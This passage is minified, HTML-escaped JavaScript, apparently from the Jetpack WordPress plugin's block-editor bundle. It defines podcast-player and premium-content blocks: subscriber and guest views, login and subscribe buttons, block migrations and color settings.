24&quot;,width:&quot;24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;},a=(0,n.jsxs)(r.SVG,{...o,children:[(0,n.jsx)(r.Path,{d:&quot;M0 0h24v24H0V0z&quot;,fill:&quot;none&quot;}),(0,n.jsx)(r.Path,{d:&quot;M3 9v6h4l5 5V4L7 9H3zm7-.17v6.34L7.83 13H5v-2h2.83L10 8.83zM16.5 12c0-1.77-1.02-3.29-2.5-4.03v8.05c1.48-.73 2.5-2.25 2.5-4.02zM14 3.23v2.06c2.89.86 5 3.54 5 6.71s-2.11 5.85-5 6.71v2.06c4.01-.91 7-4.49 7-8.77 0-4.28-2.99-7.86-7-8.77z&quot;})]}),i=(0,n.jsxs)(r.SVG,{...o,children:[(0,n.jsx)(r.Path,{d:&quot;M0 0h24v24H0V0z&quot;,fill:&quot;none&quot;}),(0,n.jsx)(r.Path,{d:&quot;M11 15h2v2h-2zm0-8h2v6h-2zm.99-5C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z&quot;})]})},46612(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);function a({attributes:e}){const{url:t}=e;if(!t||&quot;&quot;===t)return;const s=r.useBlockProps.save();return(0,o.jsx)(&quot;a&quot;,{...s,className:(0,n.A)(s.className,&quot;jetpack-podcast-player__direct-link&quot;),href:t,children:t})}},90764(e,t,s){&quot;use strict&quot;;s.d(t,{I:()=&gt;n,o:()=&gt;r});const r={EDIT_URL:&quot;EDIT_URL&quot;,FINISH_EDITING:&quot;FINISH_EDITING&quot;,START_EDITING:&quot;START_EDITING&quot;,SELECT_EPISODE:&quot;SELECT_EPISODE&quot;,FEED_RECEIVED:&quot;FEED_RECEIVED&quot;,CLEAR_FEED:&quot;CLEAR_FEED&quot;,MAKE_INTERACTIVE:&quot;MAKE_INTERACTIVE&quot;,PREVENT_INTERACTIONS:&quot;PREVENT_INTERACTIONS&quot;,START_FETCH:&quot;START_FETCH&quot;,CHECK_URL:&quot;CHECK_URL&quot;},n=(e,t)=&gt;{switch(t.type){case r.EDIT_URL:return{...e,editedUrl:t.payload};case r.START_EDITING:return{...e,isEditing:!0,isLoading:!1};case r.FINISH_EDITING:return{...e,editedUrl:t.payload,isEditing:!1};case r.FEED_RECEIVED:return{...e,isLoading:!1,feedData:t.payload};case r.CLEAR_FEED:return{...e,feedData:{}};case r.MAKE_INTERACTIVE:return{...e,isInteractive:!0};case r.PREVENT_INTERACTIONS:return{...e,isInteractive:!1};case r.START_FETCH:return{...e,isLoading:!0};case r.SELECT_EPISODE:return{...e,selectedGuid:t.payload};case r.CHECK_URL:return{...e,selectedGuid:null,feedData:{},checkUrl:t.payload};default:return{...e}}}},19812(e,t,s){&quot;use strict&quot;;s.d(t,{GU:()=&gt;i,lb:()=&gt;o,tQ:()=&gt;n});var r=s(13022);function n(e,t){if(e&amp;&amp;t)return`has-${t}-${e}`}function o(e){let t=!1;return{promise:new Promise((s,r)=&gt;{e.then(e=&gt;t?r({isCanceled:!0}):s(e),e=&gt;r(t?{isCanceled:!0}:e))}),cancel(){t=!0}}}const a={},i=e=&gt;{const t=Object.values(e).join();return a[t]??=(({primaryColor:e,customPrimaryColor:t,secondaryColor:s,customSecondaryColor:o,backgroundColor:a,customBackgroundColor:i})=&gt;{const l=n(&quot;color&quot;,e),c=n(&quot;color&quot;,s),u=n(&quot;background-color&quot;,a);return{primary:{name:e,custom:t,classes:(0,r.A)({&quot;has-primary&quot;:l||t,[l]:l})},secondary:{name:s,custom:o,classes:(0,r.A)({&quot;has-secondary&quot;:c||o,[c]:c})},background:{name:a,custom:i,classes:(0,r.A)({&quot;has-background&quot;:u||i,[u]:u})}}})(e)}},67498(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){return(0,n.jsx)(&quot;div&quot;,{className:&quot;premium-content-wrapper&quot;,children:(0,n.jsx)(r.InnerBlocks,{allowedBlocks:[&quot;premium-content/subscriber-view&quot;,&quot;premium-content/logged-out-view&quot;],templateLock:&quot;all&quot;,template:[[&quot;premium-content/subscriber-view&quot;],[&quot;premium-content/logged-out-view&quot;]],__experimentalCaptureToolbars:!0,templateInsertUpdatesSelection:!1})})}},89401(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(10790);const o={selectedTab:{id:&quot;&quot;,className:&quot;&quot;,label:(0,n.jsx)(n.Fragment,{})}},a=(0,r.createContext)(o)},37137(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=(0,n.jsxs)(r.SVG,{viewBox:&quot;0 0 25 24&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,n.jsx)(r.Path,{d:&quot;M12.7439 14.4271L8.64053 13.165L8.51431 13.8718L8.09208 20.7415C8.06165 21.2365 8.61087 21.5526 9.02363 21.2776L12.7439 18.799L16.7475 21.304C17.1687 21.5676 17.7094 21.2343 17.6631 20.7396L17.0212 13.8718L17.0212 13.165L12.7439 14.4271Z&quot;}),(0,n.jsx)(r.Circle,{cx:&quot;12.7439&quot;,cy:&quot;8.69796&quot;,r:&quot;5.94466&quot;,stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,fill:&quot;none&quot;}),(0,n.jsx)(r.Path,{d:&quot;M9.71023 8.12461L11.9543 10.3687L15.7776 6.54533&quot;,stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,fill:&quot;none&quot;})]})},57527(e,t,s){&quot;use strict&quot;;s.d(t,{HF:()=&gt;a,ct:()=&gt;i,uw:()=&gt;l});var r=s(74997),n=s(47143),o=s(58087);const a=e=&gt;0===e.name.indexOf(&quot;premium-content/&quot;)||e.innerBlocks.some(a),i=e=&gt;{const{getBlocksByClientId:t,getBlockParents:s}=(0,n.select)(&quot;core/block-editor&quot;);return!!t(s(e.clientId)).find(e=&gt;0===e.name.indexOf(&quot;premium-content/&quot;))};function l(){return(0,n.useSelect)(e=&gt;e(r.store).getBlockTypes(),[]).reduce((e,t)=&gt;(t.name!==o.name&amp;&amp;e.push(t.name),e),[])}},48336(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(47143),n=s(43656),o=s(27723),a=s(58087),i=s(67834),l=s(10790);const __=o.__;function c(){const e=(0,r.select)(&quot;core/block-editor&quot;).getSelectedBlock();(0,r.dispatch)(&quot;core/block-editor&quot;).replaceBlock(e.clientId,(0,i.o)(e.innerBlocks))}const u=()=&gt;(0,l.jsx)(n.PluginBlockSettingsMenuItem,{allowedBlocks:[a.name],label:__(&quot;Remove block and keep content&quot;,&quot;jetpack&quot;),onClick:c})},67834(e,t,s){&quot;use strict&quot;;s.d(t,{o:()=&gt;n});var r=s(74997);const n=e=&gt;{const t=e.find(e=&gt;&quot;premium-content/subscriber-view&quot;===e.name);return 1===t.innerBlocks.length&amp;&amp;&quot;core/group&quot;===t.innerBlocks[0].name?t.innerBlocks[0]:(0,r.createBlock)(&quot;core/group&quot;,{},t.innerBlocks)}},24795(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(56427),o=s(10790);function a(e){const{options:t,selectedOption:s,selectAction:a,contractViewport:i,label:l}=e,c=e=&gt;e.id===s.id;return i?(0,o.jsx)(r.BlockControls,{group:&quot;block&quot;,children:(0,o.jsx)(n.ToolbarDropdownMenu,{label:l,icon:&quot;arrow-down&quot;,text:s.label,children:({onClose:e})=&gt;(0,o.jsx)(n.MenuGroup,{children:t.map(t=&gt;{const s=c(t);return(0,o.jsx)(n.MenuItem,{isSelected:s,icon:s?&quot;yes&quot;:void 0,onClick:()=&gt;{a(t),e()},children:t.label},`jetpack-premium-content-tab-${t.id}`)})})})}):(0,o.jsx)(r.BlockControls,{group:&quot;other&quot;,children:t.map(e=&gt;{const t=c(e);return(0,o.jsx)(n.ToolbarButton,{onClick:()=&gt;{a(e)},className:&quot;components-tab-button&quot;,&quot;aria-pressed&quot;:t,children:(0,o.jsx)(&quot;span&quot;,{children:e.label})},`jetpack-premium-content-tab-${e.id}`)})})}},93368(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(94715),n=s(29491),o=s(47143),a=s(86087),i=s(52619),l=s(27723),c=s(10790);const __=l.__,u=[&quot;core/button&quot;,&quot;jetpack/recurring-payments&quot;,&quot;premium-content/login-button&quot;];const d=(0,n.compose)([(0,o.withSelect)((e,t)=&gt;({subscribeButton:e(&quot;core/block-editor&quot;).getBlock(t.clientId).innerBlocks.find(e=&gt;&quot;jetpack/recurring-payments&quot;===e.name)})),(0,o.withDispatch)((e,t)=&gt;({setSubscribeButtonPlan(s){e(&quot;core/block-editor&quot;).updateBlockAttributes(t.subscribeButton.clientId,{planIds:s})}}))])(function({context:e,subscribeButton:t,setSubscribeButtonPlan:s}){const n=(0,a.useMemo)(()=&gt;e[&quot;premium-content/planIds&quot;]||[],[e]),o=!!e&amp;&amp;e[&quot;premium-content/isPreview&quot;],l=[[&quot;core/button&quot;,{element:&quot;a&quot;,uniqueId:&quot;recurring-payments-id&quot;,text:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)}],[&quot;premium-content/login-button&quot;]],d=[[&quot;jetpack/recurring-payments&quot;,{planIds:n},[[&quot;jetpack/button&quot;,{element:&quot;a&quot;,uniqueId:&quot;recurring-payments-id&quot;,text:__(&quot;Subscribe&quot;,&quot;jetpack&quot;),passthroughAttributes:{uniqueId:&quot;uniqueId&quot;,url:&quot;url&quot;}}]]],[&quot;premium-content/login-button&quot;]];(0,a.useEffect)(()=&gt;{if(!n||0===n.length||!t)return;const e=t.attributes.planIds||[];e.length===n.length&amp;&amp;e.every(e=&gt;n.includes(e))||s(n)},[n,t,s]),(0,a.useEffect)(()=&gt;{t&amp;&amp;(0,i.addFilter)(&quot;jetpack.recurringPayments.editorSettings&quot;,&quot;jetpack/premium-content-hide-recurring-payments-controls&quot;,(e,s)=&gt;s===t.clientId?{...e,showProductManagementControls:!1}:e)},[t]);const p=(0,r.useBlockProps)({className:&quot;wp-block-buttons&quot;});return(0,c.jsx)(&quot;div&quot;,{...p,children:(0,c.jsx)(r.InnerBlocks,{allowedBlocks:u,template:o?l:d,templateInsertUpdatesSelection:!1,layout:{type:&quot;default&quot;,alignments:[]},__experimentalMoverDirection:&quot;horizontal&quot;})})})},4718(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;c,W:()=&gt;u});var r=s(94715),n=s(27723),o=s(11083),a=s(93368),i=s(35013),l=s(10790);const __=n.__,c=&quot;premium-content/buttons&quot;,u={apiVersion:3,title:__(&quot;Premium Content buttons&quot;,&quot;jetpack&quot;),description:__(&quot;Prompt Premium Content visitors to take action with a group of button-style links.&quot;,&quot;jetpack&quot;),category:&quot;grow&quot;,icon:o.A,supports:{align:!0,alignWide:!1,lightBlockWrapper:!0,inserter:!1},keywords:[__(&quot;link&quot;,&quot;jetpack&quot;)],edit:a.A,save:i.A,usesContext:[&quot;premium-content/planIds&quot;,&quot;premium-content/isPreview&quot;],deprecated:[{attributes:{},supports:{align:!0,alignWide:!1,lightBlockWrapper:!0,inserter:!1},save:()=&gt;(0,l.jsx)(&quot;div&quot;,{className:&quot;wp-block-buttons&quot;,children:(0,l.jsx)(r.InnerBlocks.Content,{})})}]}},35013(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save({className:&quot;wp-block-buttons&quot;});return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},72064(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={isEligible:(e,t)=&gt;{if(&quot;premium-content/logged-out-view&quot;===t?.[0]?.name)return!0},migrate:(e,t)=&gt;[e,[t[1],t[0]]],save:s(23131).A}},81305(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{newPlanName:{type:&quot;string&quot;,default:&quot;Monthly Subscription&quot;},newPlanCurrency:{type:&quot;string&quot;,default:&quot;USD&quot;},newPlanPrice:{type:&quot;number&quot;,default:5},newPlanInterval:{type:&quot;string&quot;,default:&quot;1 month&quot;},selectedPlanId:{type:&quot;number&quot;,default:0},isPreview:{type:&quot;boolean&quot;,default:!1},isPremiumContentChild:{type:&quot;boolean&quot;,default:!0}},isEligible:e=&gt;&quot;selectedPlanId&quot;in e,migrate:e=&gt;{const{selectedPlanId:t,...s}=e;return{...s,selectedPlanIds:t?[t]:[]}},save:s(23131).A}},33918(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;j});var r=s(94715),n=s(56427),o=s(29491),a=s(47143),i=s(86087),l=s(27723),c=s(2274),u=s(97627),d=s(29726),p=s(53796),h=s(26247),m=s(16521),g=s(67498),f=s(89401),b=(s(76602),s(24795)),v=s(10790);const __=l.__,k=[{id:&quot;premium&quot;,label:(0,v.jsx)(&quot;span&quot;,{children:__(&quot;Subscriber View&quot;,&quot;jetpack&quot;)}),className:&quot;wp-premium-content-subscriber-view&quot;},{id:&quot;wall&quot;,label:(0,v.jsx)(&quot;span&quot;,{children:__(&quot;Guest View&quot;,&quot;jetpack&quot;)}),className:&quot;wp-premium-content-logged-out-view&quot;}],y=&quot;premium-content&quot;;function x({clientId:e,isSelected:t,attributes:s,setAttributes:l}){const{isPreview:x,selectedPlanIds:j}=s,[w,_]=(0,i.useState)(k[1]),C=(0,r.useBlockProps)(),A=(0,h.A)(),{isApiLoading:S,selectedBlock:E}=(0,a.useSelect)(e=&gt;({selectedBlock:e(r.store).getSelectedBlock(),isApiLoading:e(m.M).isApiStateLoading()}));(0,i.useEffect)(()=&gt;{if(t)return;if(!E)return;const s=(0,a.select)(r.store);s.getBlockParents(E.clientId).includes(e)&amp;&amp;(&quot;premium-content/logged-out-view&quot;===E.name||s.getBlockParentsByBlockName(E.clientId,&quot;premium-content/logged-out-view&quot;).length?_(k[1]):_(k[0]))},[e,t,E]);const N=(0,o.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return A?(0,v.jsxs)(&quot;div&quot;,{...C,children:[!x&amp;&amp;(0,v.jsxs)(v.Fragment,{children:[S&amp;&amp;(0,v.jsx)(n.Placeholder,{icon:&quot;lock&quot;,label:__(&quot;Paid Content&quot;,&quot;jetpack&quot;),instructions:__(&quot;Loading data…&quot;,&quot;jetpack&quot;),children:(0,v.jsx)(n.Spinner,{})}),(0,v.jsx)(u.A,{blockName:y,clientId:e,productType:d.h5,selectedProductIds:j,setSelectedProductIds:e=&gt;l({selectedPlanIds:e})}),(0,v.jsx)(b.A,{options:k,selectedOption:w,selectAction:_,contractViewport:N,label:__(&quot;Change view&quot;,&quot;jetpack&quot;)})]}),!S&amp;&amp;(0,v.jsxs)(v.Fragment,{children:[(0,v.jsx)(p.V,{blockName:y}),(0,v.jsx)(f.A.Provider,{value:{selectedTab:w},children:(0,v.jsx)(g.A,{})})]})]}):(0,v.jsx)(&quot;div&quot;,{...C,children:(0,v.jsx)(c.A,{block:&quot;Paid Content&quot;,explanation:__(&quot;Connect your WordPress.com account to enable paid content.&quot;,&quot;jetpack&quot;)})})}function j(e){return(0,v.jsx)(n.Disabled.Consumer,{children:t=&gt;(0,v.jsx)(x,{...e,attributes:{...e.attributes,isPreview:t||e.attributes?.isPreview}})})}},80587(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(92279),o=s(94375),a=s(57527),i=s(48336),l=s(67834),c=s(58087),u=s(4718),d=s(72064),p=s(81305),h=s(33918),m=s(94744),g=s(73269),f=s(23131),b=s(22227);const v=e=&gt;!!e&amp;&amp;(!(1===e.length&amp;&amp;![&quot;core/group&quot;,&quot;core/columns&quot;].includes(e[0].name))&amp;&amp;(!e.some(a.HF)&amp;&amp;!(0,a.ct)(e[0])));(0,o.M)(c,{edit:h.A,save:f.A,transforms:{from:[{type:&quot;block&quot;,isMultiBlock:!0,blocks:[&quot;*&quot;],isMatch:(e,t)=&gt;!e.some(e=&gt;e.isPremiumContentChild)&amp;&amp;v(t),__experimentalConvert(e){if(!v(e))return;const t=e.map(e=&gt;(0,r.createBlock)(e.name,e.attributes,e.innerBlocks));return(0,r.createBlock)(&quot;premium-content/container&quot;,{},[(0,r.createBlock)(&quot;premium-content/subscriber-view&quot;,{},t),(0,r.createBlock)(&quot;premium-content/logged-out-view&quot;)])}}],to:[{type:&quot;block&quot;,blocks:[&quot;core/group&quot;],transform:(e,t)=&gt;(0,l.o)(t)}]},deprecated:[p.A,d.A]},[{name:m.U,settings:m.W},{name:b.U,settings:b.W},{name:u.U,settings:u.W},{name:g.U,settings:g.W}],!1),(0,n.registerPlugin)(&quot;block-settings-remove-block-keep-content&quot;,{render:i.A})},94188(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(45644),n=s(63637);const o=[r.A,n.A]},45644(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(74997),o=s(10790);const a={attributes:{subscribeButtonText:{type:&quot;string&quot;,default:&quot;Subscribe&quot;},loginButtonText:{type:&quot;string&quot;,default:&quot;Log In&quot;},buttonClasses:{type:&quot;string&quot;,default:&quot;&quot;},backgroundButtonColor:{type:&quot;string&quot;,default:&quot;&quot;},textButtonColor:{type:&quot;string&quot;,default:&quot;&quot;},customBackgroundButtonColor:{type:&quot;string&quot;,default:&quot;&quot;},customTextButtonColor:{type:&quot;string&quot;,default:&quot;&quot;}},isEligible:({buttonClasses:e})=&gt;!!e,migrate:(e,t)=&gt;{if(Array.isArray(t))for(let s=0;s&lt;t.length;s++)if(t[s].name&amp;&amp;&quot;premium-content/buttons&quot;===t[s].name)return[e,[...t]];const s=(0,n.createBlock)(&quot;premium-content/buttons&quot;,{},[(0,n.createBlock)(&quot;jetpack/recurring-payments&quot;,{submitButtonText:e.subscribeButtonText,backgroundButtonColor:e.backgroundButtonColor,textButtonColor:e.textButtonColor,customBackgroundButtonColor:e.customBackgroundButtonColor,customTextButtonColor:e.customTextButtonColor}),(0,n.createBlock)(&quot;premium-content/login-button&quot;,{text:e.loginButtonText,backgroundColor:e.backgroundButtonColor,textColor:e.textButtonColor,style:{color:{background:e.customBackgroundButtonColor,text:e.customTextButtonColor}}})]);return[e,[...t,s]]},save:()=&gt;(0,o.jsx)(&quot;div&quot;,{className:&quot;wp-block-premium-content-logged-out-view&quot;,children:(0,o.jsx)(r.InnerBlocks.Content,{})})}},63637(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);const n={attributes:{},supports:{inserter:!1,html:!1},save:()=&gt;(0,r.jsx)(&quot;div&quot;,{className:&quot;wp-block-premium-content-logged-out-view&quot;})}},54218(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(27723),o=s(89401),a=s(57527),i=s(10790);const __=n.__;function l(){const e=(0,a.uw)();return(0,i.jsx)(o.A.Consumer,{children:({selectedTab:t})=&gt;(0,i.jsx)(&quot;div&quot;,{hidden:&quot;premium&quot;===t.id,className:t.className,children:(0,i.jsx)(r.InnerBlocks,{allowedBlocks:e,templateLock:!1,templateInsertUpdatesSelection:!1,template:[[&quot;core/heading&quot;,{content:__(&quot;Subscribe to get access&quot;,&quot;jetpack&quot;),level:3}],[&quot;core/paragraph&quot;,{content:__(&quot;Read more of this content when you subscribe today.&quot;,&quot;jetpack&quot;)}],[&quot;premium-content/buttons&quot;]]})})})}},94744(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;d,W:()=&gt;p});var r=s(29491),n=s(47143),o=s(27723),a=s(50876),i=s(37137),l=s(94188),c=s(54218),u=s(7103);const __=o.__,d=&quot;premium-content/logged-out-view&quot;,p={apiVersion:3,title:__(&quot;Guest View&quot;,&quot;jetpack&quot;),description:__(&quot;The container for all content shown to site visitors who are not subscribers.&quot;,&quot;jetpack&quot;),icon:i.A,category:&quot;grow&quot;,parent:[&quot;premium-content/container&quot;],supports:{inserter:!1,html:!1},edit:c.A,save:u.A,deprecated:l.A},h=(0,n.subscribe)(()=&gt;{const e=(0,n.select)(&quot;core/rich-text&quot;).getFormatType(&quot;core/link&quot;);if(!e)return;h(),(0,a.unregisterFormatType)(&quot;core/link&quot;);const t=(0,r.compose)((0,n.withSelect)(e=&gt;({selectedBlock:e(&quot;core/block-editor&quot;).getSelectedBlock()})),(0,r.ifCondition)(e=&gt;e.selectedBlock&amp;&amp;e.selectedBlock.name!==d))(e.edit);(0,a.registerFormatType)(&quot;core/link&quot;,{...e,edit:t})})},7103(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save({className:&quot;wp-block-premium-content-logged-out-view entry-content&quot;});return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},91688(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const n={text:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;a&quot;,default:(0,r.__)(&quot;Log in&quot;,&quot;jetpack&quot;)},borderRadius:{type:&quot;number&quot;},backgroundColor:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},gradient:{type:&quot;string&quot;},style:{type:&quot;object&quot;}}},40967(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(66087),n=s(27723),o=s(86087),a=s(47143),i=s(94715),l=s(10790);const __=n.__,c=&quot;web&quot;===o.Platform.OS;const u=e=&gt;{if(!(0,r.isObject)(e))return e;const t=(0,r.pickBy)((0,r.mapValues)(e,u),r.identity);return(0,r.isEqual)(t,{})?void 0:t};function d({settings:e,clientId:t,enableContrastChecking:s=!0}){const{getComputedStyle:r,Node:n}=window,[a,u]=(0,o.useState)(),[d,p]=(0,o.useState)(),h=c?__(&quot;Color settings&quot;,&quot;jetpack&quot;):__(&quot;Color Settings&quot;,&quot;jetpack&quot;,0);return(0,o.useEffect)(()=&gt;{if(c&amp;&amp;!s)return;const e=function(e){return document.getElementById(&quot;block-&quot;+e)}(t);if(!e)return;p(r(e).color);let o=e,a=r(o).backgroundColor;for(;&quot;rgba(0, 0, 0, 0)&quot;===a&amp;&amp;o.parentNode&amp;&amp;o.parentNode.nodeType===n.ELEMENT_NODE;)o=o.parentNode,a=r(o).backgroundColor;u(a)}),(0,l.jsx)(i.InspectorControls,{children:(0,l.jsx)(i.__experimentalPanelColorGradientSettings,{title:h,initialOpen:!1,settings:e,children:c&amp;&amp;s&amp;&amp;(0,l.jsx)(i.ContrastChecker,{backgroundColor:a,textColor:d})})})}const p=function(e){const{attributes:t}=e,{colors:s,gradients:r}=(0,a.useSelect)(e=&gt;e(&quot;core/block-editor&quot;).getSettings(),[]),n=(0,o.useRef)(t);(0,o.useEffect)(()=&gt;{n.current=t},[t]);const{style:c,textColor:p,backgroundColor:h,gradient:m}=t;let g;g=m?(0,i.getGradientValueBySlug)(r,m):c?.color?.gradient;const f=t=&gt;r=&gt;{const o=(0,i.getColorObjectByColorValue)(s,r),a=t+&quot;Color&quot;,l={...n.current.style,color:{...n.current?.style?.color,[t]:o?.slug?void 0:r}},c=o?.slug?o.slug:void 0,d={style:u(l),[a]:c};e.setAttributes(d),n.current={...n.current,...d}};return(0,l.jsx)(d,{enableContrastChecking:!m&amp;&amp;!c?.color?.gradient,clientId:e.clientId,settings:[{label:__(&quot;Text Color&quot;,&quot;jetpack&quot;),onColorChange:f(&quot;text&quot;),colorValue:(0,i.getColorObjectByAttributeValues)(s,p,c?.color?.text).color},{label:__(&quot;Background Color&quot;,&quot;jetpack&quot;),onColorChange:f(&quot;background&quot;),colorValue:(0,i.getColorObjectByAttributeValues)(s,h,c?.color?.background).color,gradientValue:g,onGradientChange:t=&gt;{const s=(0,i.getGradientSlugByValue)(r,t);let o;if(s){const e={...n.current?.style,color:{...n.current?.style?.color,gradient:void 0}};o={style:u(e),gradient:s}}else{const e={...n.current?.style,color:{...n.current?.style?.color,gradient:t}};o={style:u(e),gradient:void 0}}e.setAttributes(o),n.current={...n.current,...o}}}]})}},40861(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(94715);function o(e){const{backgroundColor:t,textColor:s,gradient:o,style:a}=e,i=(0,n.getColorClassName)(&quot;background-color&quot;,t),l=(0,n.__experimentalGetGradientClass)(o),c=(0,n.getColorClassName)(&quot;color&quot;,s),u=(0,r.A)(c,l,{[i]:!a?.color?.gradient&amp;&amp;!!i,&quot;has-text-color&quot;:s||a?.color?.text,&quot;has-background&quot;:t||a?.color?.background||o||a?.color?.gradient});return{className:u||void 0,style:a?.color?.background||a?.color?.text||a?.color?.gradient?{background:a?.color?.gradient?a.color.gradient:void 0,backgroundColor:a?.color?.background?a.color.background:void 0,color:a?.color?.text?a.color.text:void 0}:{}}}},46241(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(27723),o=s(13022),a=s(40861),i=s(10790);const l={attributes:{text:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;a&quot;,default:(0,n.__)(&quot;Log in&quot;,&quot;jetpack&quot;)},borderRadius:{type:&quot;number&quot;},backgroundColor:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},gradient:{type:&quot;string&quot;},style:{type:&quot;object&quot;}},supports:{align:!0,alignWide:!1,html:!1,lightBlockWrapper:!0,inserter:!1},save:({attributes:e})=&gt;{const{borderRadius:t,text:s}=e,n=(0,a.A)(e),l=(0,o.A)(&quot;wp-block-button__link&quot;,n.className,{&quot;no-border-radius&quot;:0===t}),c={borderRadius:t?t+&quot;px&quot;:void 0,...n.style};return(0,i.jsx)(&quot;div&quot;,{className:&quot;wp-block-button&quot;,children:(0,i.jsx)(r.RichText.Content,{tagName:&quot;a&quot;,className:l,style:c,value:s})})}}},27389(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(13022),l=s(40967),c=s(40861),u=s(10790);const __=a.__;function d({borderRadius:e=&quot;&quot;,setAttributes:t}){const s=(0,o.useCallback)(e=&gt;{t({borderRadius:e})},[t]);return(0,u.jsx)(n.PanelBody,{title:__(&quot;Border settings&quot;,&quot;jetpack&quot;),children:(0,u.jsx)(n.RangeControl,{value:e,label:__(&quot;Border radius&quot;,&quot;jetpack&quot;),min:0,max:50,initialPosition:5,allowReset:!0,onChange:s,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})}const p=function(e){const{attributes:t,setAttributes:s,className:n}=e,{borderRadius:o,text:a}=t,p=(0,c.A)(t),h=(0,r.useBlockProps)({className:&quot;wp-block-button&quot;});return(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(&quot;div&quot;,{...h,children:(0,u.jsx)(r.RichText,{placeholder:__(&quot;Add text…&quot;,&quot;jetpack&quot;),value:a,onChange:e=&gt;s({text:e}),withoutInteractiveFormatting:!0,className:(0,i.A)(n,&quot;wp-block-button__link&quot;,p.className,{&quot;no-border-radius&quot;:0===o}),style:{borderRadius:o?o+&quot;px&quot;:void 0,...p.style}})}),(0,u.jsxs)(r.InspectorControls,{children:[(0,u.jsx)(l.A,{...e}),(0,u.jsx)(d,{borderRadius:o,setAttributes:s})]})]})}},73269(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;c,W:()=&gt;u});var r=s(27723),n=s(11083),o=s(91688),a=s(46241),i=s(27389),l=s(77312);const __=r.__,c=&quot;premium-content/login-button&quot;,u={apiVersion:3,title:__(&quot;Premium Content login button&quot;,&quot;jetpack&quot;),description:__(&quot;Prompt subscriber visitors to log in with a button-style link (only visible for logged out users).&quot;,&quot;jetpack&quot;),category:&quot;grow&quot;,attributes:o.A,icon:n.A,keywords:[__(&quot;link&quot;,&quot;jetpack&quot;)],supports:{align:!0,alignWide:!1,html:!1,lightBlockWrapper:!0,inserter:!1},styles:[{name:&quot;fill&quot;,label:__(&quot;Fill&quot;,&quot;jetpack&quot;),isDefault:!0},{name:&quot;outline&quot;,label:__(&quot;Outline&quot;,&quot;jetpack&quot;)}],edit:i.A,save:l.A,deprecated:[a.A]}},77312(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(40861),a=s(10790);function i({attributes:e}){const{borderRadius:t,text:s,align:i}=e,l=(0,o.A)(e),c=(0,n.A)(&quot;wp-block-button&quot;,&quot;wp-block-premium-content-login-button&quot;,{alignleft:&quot;left&quot;===i},{aligncenter:&quot;center&quot;===i},{alignright:&quot;right&quot;===i}),u=(0,n.A)(&quot;wp-block-button__link&quot;,l.className,{&quot;no-border-radius&quot;:0===t}),d={borderRadius:t?t+&quot;px&quot;:void 0,...l.style},p=r.useBlockProps.save({className:c});return(0,a.jsx)(&quot;div&quot;,{...p,children:(0,a.jsx)(r.RichText.Content,{tagName:&quot;a&quot;,className:u,style:d,value:s})})}},23131(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);function a(){const e=r.useBlockProps.save();return(0,o.jsx)(&quot;div&quot;,{...e,className:(0,n.A)(e.className,&quot;wp-block-premium-content-container&quot;),children:(0,o.jsx)(r.InnerBlocks.Content,{})})}},36257(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[s(19315).A]},19315(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var 